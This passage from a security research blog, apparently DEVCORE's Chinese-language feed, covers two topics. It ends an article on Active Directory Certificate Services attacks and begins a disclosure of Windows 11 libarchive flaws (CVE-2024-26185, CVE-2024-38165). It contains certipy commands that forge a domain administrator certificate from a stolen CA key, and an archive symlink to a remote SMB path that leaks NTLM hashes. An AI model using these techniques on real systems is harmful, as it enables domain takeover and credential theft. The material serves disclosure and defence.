2024 GMT Not After : Dec 3 09:44:02 2029 GMT Subject: DC=local, DC=corp, CN=corp-CA01-CA Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (2048 bit) Modulus: 00:ba:1e:cb:84:ff:5c:9d:91:09:75:38:40:ee:7f: f7:1c:0b:bb:fd:91:81:f3:eb:07:3d:c9:93:39:a8: ...SNIP... </code></pre></div></div> <p>從發行者 (Issuer) 及 Subject 可看出該憑證檔案對應到 AD CS 的 CA,便可嘗試以該私鑰偽造憑證並驗證身分:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy cert <span class="nt">-pfx</span> corp-CA01-CA.p12 <span class="nt">-password</span> <span class="s1">'1qaz@WSX'</span> <span class="nt">-export</span> <span class="nt">-out</span> corp-CA01-CA-nopass.p12 certipy forge <span class="nt">-ca-pfx</span> corp-CA01-CA-nopass.p12 <span class="nt">-upn</span> [email protected] <span class="nt">-subject</span> <span class="s1">'CN=Administrator,CN=Users,DC=corp,DC=local'</span> certipy auth <span class="nt">-pfx</span> administrator_forged.pfx </code></pre></div></div> <p>最後經過 PKINIT 取得網域管理員的 NTHash 進行 Pass the Hash,成功偽造身分成爲 DA!</p> <p>這些情境常發生在備份時,匯出了憑證及私鑰,但卻沒有使用足夠複雜的密碼進行加密來保護,導致我們取得 root CA 及 Domain Controller 的私鑰等高權限的身分,因此可以任意偽造憑證或進行 DCSync 等操作進而取得整個網域的控制權。</p> <h2 id="時間軸">時間軸</h2> <p>以下整理從 2021 年 Certified Pre-Owned 白皮書發佈截至 2025 年 1 月的 AD CS 攻擊手法的演進:</p> <table> <thead> <tr> <th>時間</th> <th>攻擊手法</th> <th>備註</th> </tr> </thead> <tbody> <tr> <td>2021/06</td> <td><a href="https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf">Certified Pre-Owned</a> ESC1 ~ ESC8</td> <td>歸納了 AD CS 的各種手法,包含提權、Persistence,還有防禦及偵測的建議</td> </tr> <tr> <td>2021/06</td> <td><a href="https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab">Shadow Credential</a></td> <td>透過寫入帳號的 <code class="language-plaintext highlighter-rouge">msDS-KeyCredentialLink</code> 屬性來接管帳號的手法</td> </tr> <tr> <td>2022/02</td> <td><a href="https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-and-more-34d1c26f0dc6">Certipy 2.0</a></td> <td>提到 certipy 新增的功能,以及一個簡潔的 ESC7 利用方式</td> </tr> <tr> <td>2022/05</td> <td><a href="https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4">Certifried: CVE-2022–26923</a></td> <td>利用 <code class="language-plaintext highlighter-rouge">dNSHostName</code> 及憑證 mapping 的機制達成網域提權漏洞</td> </tr> <tr> <td>2022/05</td> <td><a href="https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16">KB5014754</a></td> <td>該 patch 修復 Certifried 漏洞,但也讓 ESC6 失效</td> </tr> <tr> <td>2022/08</td> <td><a href="https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7">ESC9 &amp; ESC10</a></td> <td>ESC6 失效後的延伸利用</td> </tr> <tr> <td>2022/11</td> <td><a href="https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d">Certificates and Pwnage and Patches, Oh My!</a></td> <td>提到前述手法的演進還有 patch 導致的一些利用技巧變化</td> </tr> <tr> <td>2022/11</td> <td><a href="https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/?ref=heartburn.dev">ESC11</a></td> <td>ICPR 未強制加密的設定導致可能的 relay 攻擊</td> </tr> <tr> <td>2023/05</td> <td><a href="https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c">From DA to EA with ESC5</a></td> <td>從 Domain Admins 提權到 Enterprise Admins 的方式</td> </tr> <tr> <td>2023/10</td> <td><a href="https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm">ESC12</a></td> <td>CA 若使用 YubiHSM2 ,可登入 CA 的使用者有機會取得解密的金鑰進而提升權限</td> </tr> <tr> <td>2024/02</td> <td><a href="https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53">ESC13</a></td> <td>憑證範本若存在 issuance policy 且有相應的 OID group link 時的利用手法</td> </tr> <tr> <td>2024/02</td> <td><a href="https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9">ESC14</a></td> <td>透過寫入 <code class="language-plaintext highlighter-rouge">altSecurityIdentities</code> 可達成帳號接管,並詳細解釋了 certificate mapping 的機制</td> </tr> <tr> <td>2024/11</td> <td><a href="https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc">ESC15 EKUwu</a> CVE-2024-49019</td> <td>發生在預設的舊版憑證範本使用者可添加自訂的 Application Policies,僅需申請權限便可提權</td> </tr> </tbody> </table> <h2 id="結語">結語</h2> <ul> <li>AD CS 應納入 <strong>Tier 0 保護</strong>,每個細節會影響你的網域安全,包含備份操作等。企業藍隊應考慮: <ul> <li>定期檢核所有憑證範本</li> <li>停用所有廢棄的憑證範本</li> <li>檢核憑證範本權限設定</li> <li>高風險憑證啟用管理員授權申請</li> </ul> </li> <li><strong>網路隔離很重要</strong>,僅允許需要的連線,可大幅縮小攻擊面及駭客可活動的空間</li> <li>單一的防禦機制並不一定能杜絕入侵,應<strong>思考是否有可能的方式</strong>可以繞過防禦限制,或是讓我們幫你想吧!</li> </ul> <h2 id="references">References</h2> <ul> <li><a href="https://conf.devco.re/2024/keynote/DEVCORE-CONFERENCE-2024-Vtim-Taking-down-AD-in-minutes-things-that-you-missed-about-AD.pdf">分分鐘拿下整個網域: 關於 AD,你還疏忽了什麼?</a></li> <li><a href="https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf">Certified Pre-Owned: Abusing Active Directory Certificate Services</a></li> <li><a href="https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c">From DA to EA with ESC5</a></li> <li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786436(v=ws.11)">Securing PKI: Planning a CA Hierarchy</a></li> <li><a href="https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab">Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover</a></li> <li><a href="https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-and-more-34d1c26f0dc6">Certipy 2.0: BloodHound, New Escalations, Shadow Credentials, Golden Certificates, and more!</a></li> <li><a href="https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4">Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923)</a></li> <li><a href="https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16">KB5014754: Certificate-based authentication changes on Windows domain controllers</a></li> <li><a href="https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7">Certipy 4.0: ESC9 &amp; ESC10, BloodHound GUI, New Authentication and Request Methods — and more!</a></li> <li><a href="https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d">Certificates and Pwnage and Patches, Oh My!</a></li> <li><a href="https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/?ref=heartburn.dev">Relaying to AD Certificate Services over RPC</a></li> <li><a href="https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm">ESC12 – Shell access to ADCS CA with YubiHSM</a></li> <li><a href="https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53">ADCS ESC13 Abuse Technique</a></li> <li><a href="https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9">ADCS ESC14 Abuse Technique</a></li> <li><a href="https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc">EKUwu: Not just another AD CS ESC</a></li> </ul> https://devco.re/blog/2025/04/10/taking-over-the-entire-domain-in-minutes-what-have-you-overlooked-in-active-directory/ https://devco.re/blog/2025/04/10/taking-over-the-entire-domain-in-minutes-what-have-you-overlooked-in-active-directory Thu, 10 Apr 2025 00:00:00 +0800 全境擴散:從 Windows 11 到 Libarchive 的 Half-Day 威脅與全面影響 <h2 id="摘要">摘要</h2> <p>Windows 11 在 2023 年 10 月發布的更新中,新增了對 RAR、7z 等多達 11 種壓縮格式的支援,使用者可以在原生的檔案總管內操作這些格式的檔案,大幅提升了便利性。然而,這一改進同時也引入了潛在的資安風險。Windows 11 使用老牌開源專案 libarchive 來實現多種壓縮格式的支援,該專案被廣泛使用在 Linux、BSD、macOS 等作業系統,以及 ClickHouse、Homebrew、Osquery 等等知名大型專案中。自 2016 起,Google 的 OSS-Fuzz 專案便 24 小時不間斷地對其進行模糊測試,是歷經時間考驗的函式庫。</p> <p>然而,在 OSS-Fuzz 執行的模糊測試中,libarchive 的覆蓋率並不理想。除了 Microsoft Offensive Research &amp; Security Engineering (MORSE) 在 2024 年 1 月自行揭露的兩個遠端程式碼執行漏洞(RCE)之外,我們仍透過程式碼審查與模糊測試發現了 libarchive 中的數個弱點。其中包括位於 RAR 解壓縮程式碼中的 Heap Buffer Overflow 漏洞,以及因 Windows 未對 libarchive 的執行結果進行妥善檢查,導致的任意檔案寫入和任意檔案刪除的漏洞。此外,我們也將在本文中揭露 libarchive 與 Windows 結合後產生的諸多神奇特性。</p> <p>而每當 libarchive 這類廣泛使用的函式庫存在弱點時,其風險往往滲透到各個層面,影響難以估計。加上當 Microsoft 為 Windows 進行修補時,相應的 patch 並不會立即回饋到 libarchive 中,這使得攻擊者能夠通過分析 patch 找出漏洞位置,並在漏洞修補的空窗期,利用該漏洞對其他使用 libarchive 的專案進行攻擊。所以最後,我們將以 ClickHouse 為例,說明如何在 libarchive 尚未獲得修補時,在看似不受影響的 ClickHouse 中觸發尚未修補的漏洞。</p> <h2 id="introduction">Introduction</h2> <p>在 Windows 11 的 KB5031455 更新之前,Windows 原生僅支援 ZIP 格式的壓縮檔案。ZIP 在檔案總管中顯示的類型是「Compressed (zipped) Folder」,使用者可以直接點兩下 ZIP 來查看其包含什麼檔案,甚至可以直接開啟檔案或是加入新的檔案。</p> <p><img src="/assets/img/blog/20250212/1.png" alt="" /></p> <p>「Compressed (zipped) Folder」讓使用者可以在不解壓縮的情況下瀏覽壓縮檔案內的清單,並且對檔案點兩下就可以直接使用,例如直接點擊兩下開啟文字檔案: <img src="/assets/img/blog/20250212/2.png" alt="" /></p> <p>這是因為當使用者點兩下壓縮檔案內的檔案時,檔案總管會將該檔案解壓縮到 <code class="language-plaintext highlighter-rouge">%TEMP%</code> 目錄下的一個以隨機 UUID 命名的暫存資料夾中,實際上是從該暫存位置開啟檔案。由於這是暫存檔案,稍後會自動刪除: <img src="/assets/img/blog/20250212/3.png" alt="" /></p> <h3 id="compressed-archived-folder">Compressed Archived folder</h3> <p>接著,Windows 11 在 2023 年 10 月的 KB5031455 更新之後支援了 11 種新的壓縮檔案格式:</p> <p><img src="/assets/img/blog/20250212/4.png" alt="" /></p> <p>此類的檔案在檔案總管中顯示的類型是「Compressed Archive Folder」:</p> <p><img src="/assets/img/blog/20250212/5.png" alt="" /></p> <p>由於非常好奇 Windows 11 是透過什麼方式來支援這 11 種新的壓縮格式,我們開始分析檔案總管以及相關的 DLL 檔案。檔案總管對 ZIP 的原生支援是由 <code class="language-plaintext highlighter-rouge">zipfldr.dll</code> 這支 DLL 所負責的。在 KB5031455 更新之後,<code class="language-plaintext highlighter-rouge">zipfldr.dll</code> 中多出了一個叫做 <code class="language-plaintext highlighter-rouge">ArchiveFolder</code> 的 Class,有別於原本用以支援 ZIP 的 <code class="language-plaintext highlighter-rouge">CZipFolder</code> Class。</p> <p><img src="/assets/img/blog/20250212/6.png" alt="" /></p> <h3 id="第一個漏洞cve-2024-26185">第一個漏洞:CVE-2024-26185</h3> <p>在進行逆向分析之前,我們首先對新的「Compressed Archive Folder」進行了簡單的黑箱測試。講到壓縮檔案,那絕對要測試一下 <code class="language-plaintext highlighter-rouge">../</code>。</p> <p>第一次測試,我們構造一個名稱為 <code class="language-plaintext highlighter-rouge">..\poc.txt</code> 的檔案,並壓縮成 <code class="language-plaintext highlighter-rouge">.rar</code>,接著上傳至 Windows 主機後點兩下進行瀏覽。結果是,我們僅會在檔案總管中看到一個空的資料夾,並沒有造成任何 Path Traversal:</p> <p><img src="/assets/img/blog/20250212/7.png" alt="" /></p> <p>第二次測試,構造一個名稱為 <code class="language-plaintext highlighter-rouge">123\..\poc.txt</code> 的檔案,並壓縮成 <code class="language-plaintext highlighter-rouge">rar</code>,上傳至 Windows 主機後點兩下進行瀏覽。因為 <code class="language-plaintext highlighter-rouge">..</code> 與 <code class="language-plaintext highlighter-rouge">123</code> 抵銷的關係,只會在檔案總管中看到 <code class="language-plaintext highlighter-rouge">poc.txt</code> 一個檔案:</p> <p><img src="/assets/img/blog/20250212/8.png" alt="" /></p> <p>而 <code class="language-plaintext highlighter-rouge">%TEMP%</code> 中對應的暫存檔案也並未逃逸至上層目錄: <img src="/assets/img/blog/20250212/9.png" alt="" /></p> <p>除了點兩下互動之外,在檔案總管中對「Compressed (zipped) Folder」或是 「Compressed Archive Folder」類型的檔案按右鍵可以看到 <code class="language-plaintext highlighter-rouge">Extract All</code> 的選項,這個選項會嘗試將整個壓縮檔案解壓縮,透過這個選項我們再進行一次測試。</p> <p>這次,<code class="language-plaintext highlighter-rouge">..\poc.txt</code> 被認為會逃逸到上層目錄,所以檔案總管給出一個 Error: <img src="/assets/img/blog/20250212/10.png" alt="" /></p> <p><code class="language-plaintext highlighter-rouge">123\..\poc.txt</code> 則解壓縮成功,但一樣只會解壓縮出 <code class="language-plaintext highlighter-rouge">poc.txt</code> <img src="/assets/img/blog/20250212/11.png" alt="" /></p> <p>由於 <code class="language-plaintext highlighter-rouge">Extract All</code> 是直接解壓縮整個檔案,因此我們認為「當檔案包含絕對路徑時」也需要測試一下: <img src="/assets/img/blog/20250212/12.png" alt="" /></p> <p>可以發現,透過 <code class="language-plaintext highlighter-rouge">Extract All</code> 解壓縮確實有包含資料夾,不過,資料夾 <code class="language-plaintext highlighter-rouge">C:</code> 被重新命名成了 <code class="language-plaintext highlighter-rouge">C_</code> 資料夾。因此我們可以知道,<code class="language-plaintext highlighter-rouge">zipfldr.dll</code> 有對特殊字元進行處理來避免解壓縮時的 Path Traversal 與 Arbitrary File Write。 <img src="/assets/img/blog/20250212/13.png" alt="" /></p> <p>但當我們「點兩下」包含絕對路徑的 RAR 檔案進行測試時,卻看到一個叫做 <code class="language-plaintext highlighter-rouge">Local Disk (C:)</code> 的資料夾!<code class="language-plaintext highlighter-rouge">C:</code> 並沒有被替換成 <code class="language-plaintext highlighter-rouge">C_</code>!</p> <p><img src="/assets/img/blog/20250212/14.png" alt="" /></p> <p>如果我們進到資料夾的最內層,並且把 <code class="language-plaintext highlighter-rouge">poc.txt</code> 檔案打開,看似一切正常: <img src="/assets/img/blog/20250212/15.png" alt="" /></p> <p>但其實,<code class="language-plaintext highlighter-rouge">C:</code> 下多出了不應該存在的 <code class="language-plaintext highlighter-rouge">poc</code> 資料夾! <img src="/assets/img/blog/20250212/16.png" alt="" /></p> <p>表示檔案總管誤認為此處是用來暫放檔案的地方,因此 <code class="language-plaintext highlighter-rouge">poc</code> 資料夾中也包含我們剛才打開的 <code class="language-plaintext highlighter-rouge">poc.txt</code> 檔案: <img src="/assets/img/blog/20250212/17.png" alt="" /></p> <p>也就是說,我們找到了一個 Arbitrary File Write 的漏洞!且由於寫入的目的是放置暫存檔案來進行互動,所以在經過一段時間或是使用者結束瀏覽時就會被刪除,因此我們實際上找到的是一個任意檔案寫/刪除的漏洞。不過稍微稍微可惜的是,任意檔案寫與任意檔案刪除所使用的權限是當前使用者的權限。</p> <p>這就是 <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26185">CVE-2024-26185</a>:一個好笑但沒什麼用處的漏洞。因為如果要利用此漏洞創建或刪除特定位置的檔案,那就必須在壓縮檔中建立出相同的路徑,接著還需要誘騙使用者打開所有資料夾後,點擊兩下目標檔案才行,正常人點到一半就會覺得哪裡怪怪的了。</p> <p>話是這麼說,但根據規則,微軟還是得付我 1,000 美金,好耶。 <img src="/assets/img/blog/20250212/18.png" alt="" /></p> <h3 id="cve-2024-26185成因">CVE-2024-26185:成因</h3> <p>剛才發現的 CVE-2024-26185,成因是因為沒有正確的對檔案名稱進行過濾。逆向之後我們發現,在 <code class="language-plaintext highlighter-rouge">zipfldr.dll</code> 中,進行解壓縮之前會呼叫 <code class="language-plaintext highlighter-rouge">replace_invalid_path_chars</code> 進行過濾。這個 function 將 <code class="language-plaintext highlighter-rouge">"*:&lt;&gt;?|</code> 等字元替換為 <code class="language-plaintext highlighter-rouge">_</code>、將 <code class="language-plaintext highlighter-rouge">/</code> 替換成 <code class="language-plaintext highlighter-rouge">\</code>。此外,與「Compressed (zipped) Folder」或 「Compressed Archive Folder」互動時,使用者總共有三個方式可以進行解壓縮,這三個行為各自觸發了不同的 function,分別是:</p> <ul> <li>點兩下壓縮檔案中的檔案 <ul> <li>觸發 <code class="language-plaintext highlighter-rouge">ExtractFromArchiveByIndex</code></li> </ul> </li> <li>點兩下壓縮檔案中的 cmd、bat、exe 檔案 <ul> <li>觸發 <code class="language-plaintext highlighter-rouge">ExtractEntireArchive</code></li> </ul> </li> <li>對壓縮檔案點擊右鍵,點擊選單中的「Extract All」 <ul> <li>觸發 <code class="language-plaintext highlighter-rouge">ArchiveExtractWizard::ExtractToDestination</code></li> </ul> </li> </ul> <p>逆向這些函數之後我們發現,它們都使用 <code class="language-plaintext highlighter-rouge">archive_read_next_header</code> 取得壓縮檔內的檔案名稱,並呼叫 <code class="language-plaintext highlighter-rouge">replace_invalid_path_chars</code> 對名稱進行過濾。但卻忘記在「點兩下壓縮檔案中的檔案」對應的 <code class="language-plaintext highlighter-rouge">ExtractFromArchiveByIndex</code> 中做這件事情,導致任意檔案寫、任意檔案刪除的發生。</p> <p><img src="/assets/img/blog/20250212/19.png" alt="" /></p> <h3 id="cve-2024-38165-繞過-cve-2024-26185-的修補">CVE-2024-38165: 繞過 CVE-2024-26185 的修補</h3> <p>在微軟修復 CVE-2024-26185 之後,我們稍微對 patch 進行了檢查,隨機的執行了一些 PoC,結果發現其中一些還是可以繞過 Windows 最新的 patch,讓我們來看看微軟是怎麼修復上一個漏洞的。</p> <p>在 patch 之後,可以發現微軟在 <code class="language-plaintext highlighter-rouge">ExtractFromArchiveByIndex</code> 之前加入了 <code class="language-plaintext highlighter-rouge">replace_invalid_path_chars</code> 來對傳入的路徑進行過濾,看起來沒什麼問題。 <img src="/assets/img/blog/20250212/20.png" alt="" /></p> <p>但實際上,我們可以透過檔案名稱為 <code class="language-plaintext highlighter-rouge">\poc\poc.txt</code> 的檔案繞過這個保護。首先 <code class="language-plaintext highlighter-rouge">\poc\poc.txt</code> 會先被傳入 <code class="language-plaintext highlighter-rouge">replace_invalid_path_chars</code> 進行過濾,但由於名稱中不包含任何非法字元所以沒有產生變化:</p> <p><img src="/assets/img/blog/20250212/21.png" alt="" /></p> <p>接下來,由於目前<code class="language-plaintext highlighter-rouge">zipfldr.dll</code> 正在做的事情是「將檔案解壓縮至 <code class="language-plaintext highlighter-rouge">%TEMP%</code> 下的資料夾,讓使用者與檔案互動」,因此 <code class="language-plaintext highlighter-rouge">zipfldr.dll</code> 需要將 <code class="language-plaintext highlighter-rouge">%TEMP%</code> 下的暫存資料夾路徑和我們提供的檔案名稱串接起來: <img src="/assets/img/blog/20250212/22.png" alt="" /></p> <p>在 Windows 中,開頭為 <code class="language-plaintext highlighter-rouge">C:\</code> 或是 <code class="language-plaintext highlighter-rouge">\</code> 開頭的路徑都被視為根路徑,所以實際上,<code class="language-plaintext highlighter-rouge">zipfldr.dll</code> 正在串接兩個絕對路徑。而根據 <a href="https://github.com/microsoft/STL/blob/90820002693fe6eaaec2e55884472c654186207e/stl/inc/filesystem#L723">Path 的串接在 Windows 上的實作</a>,若遇到兩個輸入都是絕對路徑時,會直接拿取第二個絕對路徑回傳,因此這個 function 的回傳值便是 <code class="language-plaintext highlighter-rouge">C:\poc\poc.txt</code>,成功繞過保護: <img src="/assets/img/blog/20250212/23.png" alt="" /></p> <h3 id="symlink-ntlm-exfiltration">Symlink NTLM Exfiltration</h3> <p>在缺少 <code class="language-plaintext highlighter-rouge">replace_invalid_path_chars</code> 的情況下,我們當然可以攻擊成功。那麼,<code class="language-plaintext highlighter-rouge">replace_invalid_path_chars</code> 本身真的安全嗎?<code class="language-plaintext highlighter-rouge">replace_invalid_path_chars</code> 僅過濾 <code class="language-plaintext highlighter-rouge">"*:&lt;&gt;?|</code>。我們馬上可以發現,「<code class="language-plaintext highlighter-rouge">.</code>」是合法的字元,或許我們可以構造出遠端的路徑,導致 NTLM exfiltration 之類的問題,我們嘗試構造此類路徑:</p> <ul> <li><code class="language-plaintext highlighter-rouge">\\172.23.176.34\Users\nini\Desktop\sharing\test.txt</code></li> <li><code class="language-plaintext highlighter-rouge">\Device\Mup\172.23.176.34\Users\nini\Desktop\sharing\test.txt</code></li> </ul> <p>不過在檔案為 regular file 的情況下,這頂多只會在 <code class="language-plaintext highlighter-rouge">C:</code> 之下建立相對應的目錄(在修補 CVE-2024-38165 之前才有用),無法存取遠端的檔案系統。然而,如果我們建立一個指向 <code class="language-plaintext highlighter-rouge">\\172.23.176.34\poc\poc.txt</code> 的 symlink,當使用者觸發「Extract All」或是點兩下互動時,檔案總管便會嘗試去與該 IP 的 SMB 進行互動,導致 NTLM leak:</p> <p><img src="/assets/img/blog/20250212/24.png" alt="" /></p> <p>並且,在尚未解壓縮前,Windows 僅使用副檔名判斷壓縮檔案內的檔案類型,欺騙性極高。以此處為例,我們的 symlink 檔案就被當作 Text Document:</p> <p><img src="/assets/img/blog/20250212/25.png" alt="" /></p> <p>不過,在解壓縮時,<code class="language-plaintext highlighter-rouge">zipfldr.dll</code> 是透過 <a href="https://learn.microsoft.com/zh-tw/windows/win32/api/winbase/nf-winbase-createsymboliclinka"><code class="language-plaintext highlighter-rouge">CreateSymbolicLinkA</code></a> 這個 API 來建立 symlink。呼叫的程式必須有高權限才能建立 symlink,而在解壓縮時,檔案總管並不會要求任何權限,而是直接報錯: <img src="/assets/img/blog/20250212/26.png" alt="" /></p> <p>雖然檔案總管在呼叫 <code class="language-plaintext highlighter-rouge">CreateSymbolicLinkA</code> 時,有啟用 <code class="language-plaintext highlighter-rouge">SYMBOLIC_LINK_FLAG_ALLOW_UNPRIVILEGED_CREATE</code>,但手冊中說到必須要開啟開發人員模式,才能使此 flag 作用: <img src="/assets/img/blog/20250212/27.png" alt="" /></p> <p>所以目前這個弱點只能用來攻擊管理員或是開發者,感覺還是一個不完整的功能。因此,這個弱點被判定為不優先修復。</p> <h2 id="libarchive">Libarchive</h2> <p>前一部分提到 <code class="language-plaintext highlighter-rouge">zipfldr.dll</code> 負責處理與「Compressed (zipped) Folder」、「Compressed Archive Folder」互動的邏輯。但實際上負責解壓縮的是 libarchive,在 Windows 系統上對應的 DLL 是 <code class="language-plaintext highlighter-rouge">archiveint.dll</code>。 libarchive 被廣泛使用在 Linux、BSD、macOS 等作業系統,以及 ClickHouse、Homebrew、Osquery 等等知名大型專案中。自 2016 起,Google 的 OSS-Fuzz 專案便 24 小時不間斷地對其進行模糊測試,是歷經時間考驗的函式庫。在黑箱測試時,我們觀察到下列幾件有趣的事情。</p> <h3 id="fun-fact-1-windows-supports-file-formats-more-than-they-claimed">Fun Fact 1: Windows Supports File Formats More Than They Claimed</h3> <p>雖然微軟在 KB5031455 更新中宣稱他們新增了以下 11 種壓縮格式的原生支援,但實際上他們所支援的檔案格式遠遠超過 11 種。 <img src="/assets/img/blog/20250212/28.png" alt="" /></p> <p>在 <code class="language-plaintext highlighter-rouge">zipfldr.dll</code> 中我們看到 Windows 是這樣設定 libarchive 的: <img src="/assets/img/blog/20250212/29.png" alt="" /></p> <p>但實際上,<code class="language-plaintext highlighter-rouge">archive_read_support_format_all</code> 會啟用 libarchive 中 ar、cpio、lha、mtree、tar、xar、warc、7zip、cab、rar、rar5、iso9660、zip 等 13 種壓縮檔案格式;<code class="language-plaintext highlighter-rouge">archive_read_support_filter_all</code> 會啟用 libarchive 中 bzip2、compress、gzip、lzip、lzma、xz、uu、rpm、lrzip、lzop、grzip、lz4、zstd 等 13 種格式。</p> <p>由於 format 與 filter 可以同時使用,例如,支援 <code class="language-plaintext highlighter-rouge">.tar.gz</code> 格式即是同時啟用 format 中的 tar 與 filter 中的 gzip。所以實際上 Windows 11 支援了 13+13+13×13=195 種格式嗎?</p> <p>大錯特錯,filter 最多可以串連 25 個,例如:<code class="language-plaintext highlighter-rouge">archive.rar.gzip.xz.uu.zstd.uu......</code> 也就是說 Windows 11 實際上支援了 13+13+13×13²⁵ 種格式,也就是 <code class="language-plaintext highlighter-rouge">91733330193268616658399616035</code> 種格式!佛心公司!佛心公司!</p> <p><strong>也因此,更新後的攻擊面大幅擴展。只要 libarchive 中的任一檔案格式存在漏洞,在 Windows 上都可以被觸發。此外,同時解析多種 filter 時,也可能存在安全弱點。相較於原本僅 11 種格式的情況,潛在風險已大幅增加。</strong></p> <h3 id="fun-fact-2-file-format-confusion">Fun Fact 2: File Format Confusion</h3> <p>使用 libarchive 時,並不需要提供副檔名或是指定格式,libarchive 會根據檔案內容自動辨識當前檔案的格式,接著以對應的方式進行解壓縮。但在啟用 ZIP 的情況下可能會有 File Format Confusion 的狀況發生。舉個例子,如果我們建立一個 demo3.rar,並且裡面放入一個 poc.zip 的檔案,如下圖所示:</p> <p><img src="/assets/img/blog/20250212/30.png" alt="" /></p> <p>如果我們在 Windows 上直接點兩下 demo3.rar 開啟的話,會發現我們僅能看到 poc2.txt 這個文字檔案,其餘的資料夾、檔案,甚至 poc.zip 都不存在。因為 libarchive 將 demo3.rar 誤認為一個 ZIP 檔案!</p> <p>為了理解原因,我們首先觀察一下 libarchive 是如何選定檔案格式的。libarchive 會在 <code class="language-plaintext highlighter-rouge">choose_format</code> 這個函式中,呼叫已啟用的 format 的 <code class="language-plaintext highlighter-rouge">bid</code> 函式,而哪個格式的 <code class="language-plaintext highlighter-rouge">bid</code> 回傳的數值最高,libarchive 就會將檔案當作該格式處理。 <img src="/assets/img/blog/20250212/31.png" alt="" /></p> <p>以 <code class="language-plaintext highlighter-rouge">ar</code> 為例,如果檔案的起頭是 <code class="language-plaintext highlighter-rouge">"!&lt;arch&gt;\n"</code> 這 8 個字元,<code class="language-plaintext highlighter-rouge">archive_read_format_ar_bid</code> 就會回傳 64,推測是 8𝑏𝑖𝑡𝑠 × 8𝑏𝑦𝑡𝑒𝑠 = 64,看起來好像挺有道理的。</p> <p><img src="/assets/img/blog/20250212/32.png" alt="" /></p> <p>接著,看到 RAR 的格式可以發現它最高的分數只會是 30。雖然 30 不知道怎麼算來的,但如果每個檔案格式都是從檔案的起頭開始檢查,應該也很難做出會讓這個機制壞掉的 polyglot,對吧? <img src="/assets/img/blog/20250212/33.png" alt="" /></p> <p>但,libarchive 的 ZIP 中有個神奇的模式:seekable。也就是 ZIP 的 signature 不需要在檔案的開頭,libarchive 會自行去尋找,而 seekable zip 最高的數值為 32: <img src="/assets/img/blog/20250212/34.png" alt="" /></p> <p>所以當 RAR 壓縮率不足,還保留有 ZIP 的 signature 時,libarchive 會將包有 ZIP 檔案的 RAR 檔案當作 ZIP 來處理。</p> <h3 id="fun-fact-3-sometimes-libarchive-tries-to-spawn-an-external-executable">Fun Fact 3: Sometimes, Libarchive Tries to Spawn an External Executable</h3> <p>在 libarchive 的 source code 中可以發現,如果編譯時缺少一些 library,libarchive 執行時會嘗試直接呼叫外部指令來協助解壓縮: <img src="/assets/img/blog/20250212/35.png" alt="" /></p> <p>如果 decompile Windows 中對應的 <code class="language-plaintext highlighter-rouge">archiveint.dll</code>,可以發現某些格式確實會呼叫外部的執行檔案,以 lzop 的 <code class="language-plaintext highlighter-rouge">lzop_bidder_init</code> 為例: <img src="/assets/img/blog/20250212/36.png" alt="" /></p> <p>因此,根據「libarchive 會自行根據檔案內容決定用什麼格式進行解壓縮」的事實,我們只要將一個 lzop 格式的壓縮檔案的副檔名改為 <code class="language-plaintext highlighter-rouge">.rar</code>,對其點兩下開啟,就能觸發對應的 lzop 解壓縮函式 <code class="language-plaintext highlighter-rouge">lzop_bidder_init</code>: <img src="/assets/img/blog/20250212/37.png" alt="" /></p> <p>接著就會看到 <code class="language-plaintext highlighter-rouge">archiveint.dll</code> 嘗試使用外部指令 <code class="language-plaintext highlighter-rouge">lzop -d</code> 來進行解壓縮。結果就是 <code class="language-plaintext highlighter-rouge">explorer.exe</code> 會去 <code class="language-plaintext highlighter-rouge">PATH</code> 中尋找有沒有 <code class="language-plaintext highlighter-rouge">lzop.exe</code> 存在,並嘗試執行:</p> <p><img src="/assets/img/blog/20250212/38.png" alt="" /></p> <h3 id="rces-reported-by-morse-cve-2024-20696-and-cve-2024-20697">RCEs Reported by MORSE: CVE-2024-20696 and CVE-2024-20697</h3> <p>到目前為止,不難發現 libarchive 帶來許多攻擊面。實際上,Windwos 也在 2024 的 1 月修復了微軟研究團隊 Microsoft Offensive Research Security Engineering (MORSE) team 回報的兩個漏洞,分別是與 <a 